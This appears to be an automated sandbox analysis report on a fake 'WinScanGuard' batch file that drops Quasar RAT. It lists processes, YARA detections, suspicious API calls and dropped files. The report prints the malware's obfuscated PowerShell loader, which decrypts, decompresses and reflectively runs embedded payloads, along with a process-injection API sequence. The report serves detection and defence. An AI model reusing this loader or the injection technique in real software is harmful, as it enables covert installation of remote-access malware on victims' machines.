svchost.exe (PID: 592 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dllhost.exe (PID: 6020 cmdline: C:\Windows\System32\dllhost.exe /Processid:{59453cd9-80c7-4c7f-84ca-38ec20f032b9} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

dllhost.exe (PID: 6700 cmdline: C:\Windows\System32\dllhost.exe /Processid:{8b9e4941-156b-4561-b75c-88dc752d3d8b} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 988 cmdline: dwm.exe MD5: 5C27608411832C5B39BA04E33D53536C)

dllhost.exe (PID: 8 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{f5381469-1700-4694-82dd-1722ad94b3e0} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

WmiPrvSE.exe (PID: 2720 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)

PHZMpSLEzcFKaRUZszZmeOVApLd.exe (PID: 3848 cmdline: "C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

PHZMpSLEzcFKaRUZszZmeOVApLd.exe (PID: 4008 cmdline: "C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

dllhost.exe (PID: 3164 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{8c0bd129-911b-4af2-a0bc-93995d45cd5f} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

PHZMpSLEzcFKaRUZszZmeOVApLd.exe (PID: 2736 cmdline: "C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

dllhost.exe (PID: 6280 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{0979c3ff-3e63-4ea9-9d2b-0e24c33cbca9} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

dllhost.exe (PID: 2344 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{da1a065e-b06d-4c17-9fd5-69413fe213f9} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

dllhost.exe (PID: 2664 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{2c62f067-a6a0-49cc-8f1a-bf6b18a4e5be} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.2138245203.0000020C8051D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000012.00000002.2928056042.0000028528D41000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000012.00000002.3104746555.0000028539051000.00000004.00000800.00020000.00000000.sdmp	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x3a67e8:$op1: 04 1E FE 02 04 16 FE 01 60 0x3f6820:$op1: 04 1E FE 02 04 16 FE 01 60 0x3a670c:$op2: 00 17 03 1F 20 17 19 15 28 0x3f6744:$op2: 00 17 03 1F 20 17 19 15 28 0x3a7152:$op3: 00 04 03 69 91 1B 40 0x3a797b:$op3: 00 04 03 69 91 1B 40 0x3f718a:$op3: 00 04 03 69 91 1B 40 0x3f79b3:$op3: 00 04 03 69 91 1B 40
Process Memory Space: WinScanGuard_v.2.1.bat.exe PID: 7128	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: $sxr-powershell.exe PID: 5088	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: $sxr-powershell.exe PID: 5088	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
18.2.$sxr-powershell.exe.28538ad9110.10.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
18.2.$sxr-powershell.exe.28538ad9110.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
18.2.$sxr-powershell.exe.285393991b8.13.unpack	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x5c830:$op1: 04 1E FE 02 04 16 FE 01 60 0xac868:$op1: 04 1E FE 02 04 16 FE 01 60 0x5c754:$op2: 00 17 03 1F 20 17 19 15 28 0xac78c:$op2: 00 17 03 1F 20 17 19 15 28 0x5d19a:$op3: 00 04 03 69 91 1B 40 0x5d9c3:$op3: 00 04 03 69 91 1B 40 0xad1d2:$op3: 00 04 03 69 91 1B 40 0xad9fb:$op3: 00 04 03 69 91 1B 40
18.2.$sxr-powershell.exe.285393991b8.13.raw.unpack	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x5e630:$op1: 04 1E FE 02 04 16 FE 01 60 0xae668:$op1: 04 1E FE 02 04 16 FE 01 60 0x5e554:$op2: 00 17 03 1F 20 17 19 15 28 0xae58c:$op2: 00 17 03 1F 20 17 19 15 28 0x5ef9a:$op3: 00 04 03 69 91 1B 40 0x5f7c3:$op3: 00 04 03 69 91 1B 40 0xaefd2:$op3: 00 04 03 69 91 1B 40 0xaf7fb:$op3: 00 04 03 69 91 1B 40
18.2.$sxr-powershell.exe.28539411228.18.raw.unpack	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x365f8:$op1: 04 1E FE 02 04 16 FE 01 60 0x3651c:$op2: 00 17 03 1F 20 17 19 15 28 0x36f62:$op3: 00 04 03 69 91 1B 40 0x3778b:$op3: 00 04 03 69 91 1B 40
18.2.$sxr-powershell.exe.285393c11f0.19.raw.unpack	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x365f8:$op1: 04 1E FE 02 04 16 FE 01 60 0x86630:$op1: 04 1E FE 02 04 16 FE 01 60 0x3651c:$op2: 00 17 03 1F 20 17 19 15 28 0x86554:$op2: 00 17 03 1F 20 17 19 15 28 0x36f62:$op3: 00 04 03 69 91 1B 40 0x3778b:$op3: 00 04 03 69 91 1B 40 0x86f9a:$op3: 00 04 03 69 91 1B 40 0x877c3:$op3: 00 04 03 69 91 1B 40
18.2.$sxr-powershell.exe.28539411228.18.unpack	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x347f8:$op1: 04 1E FE 02 04 16 FE 01 60 0x3471c:$op2: 00 17 03 1F 20 17 19 15 28 0x35162:$op3: 00 04 03 69 91 1B 40 0x3598b:$op3: 00 04 03 69 91 1B 40
18.2.$sxr-powershell.exe.285393c11f0.19.unpack	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x347f8:$op1: 04 1E FE 02 04 16 FE 01 60 0x84830:$op1: 04 1E FE 02 04 16 FE 01 60 0x3471c:$op2: 00 17 03 1F 20 17 19 15 28 0x84754:$op2: 00 17 03 1F 20 17 19 15 28 0x35162:$op3: 00 04 03 69 91 1B 40 0x3598b:$op3: 00 04 03 69 91 1B 40 0x8519a:$op3: 00 04 03 69 91 1B 40 0x859c3:$op3: 00 04 03 69 91 1B 40
Click to see the 3 entries

Code function: 16_2_00007FF615504224 InitializeProcThreadAttributeList,UpdateProcThreadAttribute,memset,memset,GetStartupInfoW,wcsrchr,lstrcmpW,SetConsoleMode,CreateProcessW,CloseHandle,CreateProcessAsUserW,_local_unwind,GetLastError,_local_unwind,_local_unwind,CloseHandle,DeleteProcThreadAttributeList,GetLastError,GetLastError,DeleteProcThreadAttributeList,

16_2_00007FF615504224

Source: C:\Windows\$sxr-mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\$sxr-mshta.exe

Section loaded: sfc.dll

Jump to behavior

Source: 18.2.$sxr-powershell.exe.285393991b8.13.unpack, type: UNPACKEDPE	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 18.2.$sxr-powershell.exe.285393991b8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 18.2.$sxr-powershell.exe.28539411228.18.raw.unpack, type: UNPACKEDPE	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 18.2.$sxr-powershell.exe.285393c11f0.19.raw.unpack, type: UNPACKEDPE	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 18.2.$sxr-powershell.exe.28539411228.18.unpack, type: UNPACKEDPE	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 18.2.$sxr-powershell.exe.285393c11f0.19.unpack, type: UNPACKEDPE	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000012.00000002.3104746555.0000028539051000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

File created: C:\Windows\$sxr-powershell.exe

Jump to behavior

Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F3D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	16_2_00007FF6154F3D94
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF61550898C NtQueryInformationToken,	16_2_00007FF61550898C
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615521538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	16_2_00007FF615521538
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6155089E4 NtQueryInformationToken,NtQueryInformationToken,	16_2_00007FF6155089E4
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615508114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	16_2_00007FF615508114
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF61551BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	16_2_00007FF61551BCF0
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6155088C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	16_2_00007FF6155088C0
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615507FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	16_2_00007FF615507FF8
Source: C:\Windows\SysWOW64\dllhost.exe	Code function: 23_2_004015C1 OpenProcess,NtQueryInformationProcess,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,	23_2_004015C1
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC642AF4 NtEnumerateValueKey,OpenMutexW,CloseHandle,FindCloseChangeNotification,NtEnumerateValueKey,	24_2_00000225DC642AF4
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AE221C NtQuerySystemInformation,StrCmpNIW,	25_2_00000202C0AE221C
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14B2AF4 NtEnumerateValueKey,OpenMutexW,CloseHandle,	30_2_000002BAB14B2AF4

Source: C:\Windows\$sxr-cmd.exe

Code function: 16_2_00007FF6154F5240: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPEAX@Z,memset,CreateFileW,DeviceIoControl,memmove,CloseHandle,??_V@YAXPEAX@Z,memset,FindClose,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,

16_2_00007FF6154F5240

Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2285788055.0000020CA1B1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs WinScanGuard_v.2.1.bat
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2138245203.0000020C8051D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCSStub2.exe0 vs WinScanGuard_v.2.1.bat
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs WinScanGuard_v.2.1.bat
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2285032573.0000020CA1950000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCEVM.exe* vs WinScanGuard_v.2.1.bat
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2282758110.0000020C9FA75000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs WinScanGuard_v.2.1.bat
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2282343313.0000020C9FA10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs WinScanGuard_v.2.1.bat
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000000.1726189451.00007FF60EB09000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs WinScanGuard_v.2.1.bat
Source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2285788055.0000020CA1A91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs WinScanGuard_v.2.1.bat
Source: WinScanGuard_v.2.1.bat.exe.0.dr	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs WinScanGuard_v.2.1.bat

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winBAT@49/18@1/1

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\$sxr-cmd.exe

Code function: 16_2_00007FF6154F32B0 _get_osfhandle,GetConsoleScreenBufferInfo,WriteConsoleW,wcschr,FormatMessageW,GetConsoleScreenBufferInfo,WriteConsoleW,GetStdHandle,FlushConsoleInputBuffer,GetConsoleMode,SetConsoleMode,_getch,SetConsoleMode,GetConsoleScreenBufferInfo,FillConsoleOutputCharacterW,SetConsoleCursorPosition,GetLastError,GetLastError,

16_2_00007FF6154F32B0

Source: C:\Windows\System32\dllhost.exe

Code function: 22_2_0000000140001B30 LookupPrivilegeValueW,AdjustTokenPrivileges,FindCloseChangeNotification,FindResourceA,RegCreateKeyExW,RegSetKeySecurity,RegCreateKeyExW,RegSetValueExW,RegCloseKey,CreateThread,CreateThread,SleepEx,

22_2_0000000140001B30

Source: C:\Windows\$sxr-powershell.exe

Anti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqWX04//4DGnhGl+/sl+WZ0=');$iBFKh = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBFKh, 0, $iBFKh.Length);$iBFKh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iBFKh);$sRLEH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPfQRzZslsp7LUVLS08LhQ==');$sRLEH = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sRLEH, 0, $sRLEH.Length);$sRLEH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sRLEH);$sLsEZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bw6rZXASWFOFrL4CLrePaw==');$sLsEZ = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sLsEZ, 0, $sLsEZ.Length);$sLsEZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sLsEZ);$SPFoS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QYOQkrgRiSqCZw4PoX3ndQ==');$SPFoS = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($SPFoS, 0, $SPF

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\WinScanGuard_v.2.1.bat" "

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

File read: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat

Jump to behavior

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\WinScanGuard_v.2.1.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe "WinScanGuard_v.2.1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function oLSgt($QHQwZ){ $FhDgh=[System.Security.Cryptography.Aes]::Create(); $FhDgh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FhDgh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FhDgh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ONJSi5FjJzv4AOEMBvugvr4ituUVmgVNRnjeJyrP0WQ='); $FhDgh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CLQNYwl0vsdfD4X+5YKrxQ=='); $SpFlB=$FhDgh.CreateDecryptor(); $return_var=$SpFlB.TransformFinalBlock($QHQwZ, 0, $QHQwZ.Length); $SpFlB.Dispose(); $FhDgh.Dispose(); $return_var;}function rnHmS($QHQwZ){ $WxVgK=New-Object System.IO.MemoryStream(,$QHQwZ); $bpCBe=New-Object System.IO.MemoryStream; $coUVU=New-Object System.IO.Compression.GZipStream($WxVgK, [IO.Compression.CompressionMode]::Decompress); $coUVU.CopyTo($bpCBe); $coUVU.Dispose(); $WxVgK.Dispose(); $bpCBe.Dispose(); $bpCBe.ToArray();}function ZAtIe($QHQwZ,$cjUqy){ $oSPmD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$QHQwZ); $xWTDt=$oSPmD.EntryPoint; $xWTDt.Invoke($null, $cjUqy);}$YlWDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\WinScanGuard_v.2.1.bat').Split([Environment]::NewLine);foreach ($XUIQg in $YlWDR) { if ($XUIQg.StartsWith('SEROXEN')) { $sOgSv=$XUIQg.Substring(7); break; }}$ZErMU=[string[]]$sOgSv.Split('\');$tzgBc=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[0])));$TtDxt=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[1])));ZAtIe $TtDxt (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZAtIe $tzgBc (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{17980c38-011a-4e2a-a8da-a3b9e80db269}
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{6ee5d1df-df32-414a-8053-43a03a04def5}
Source: C:\Windows\SysWOW64\dllhost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7132 -s 144
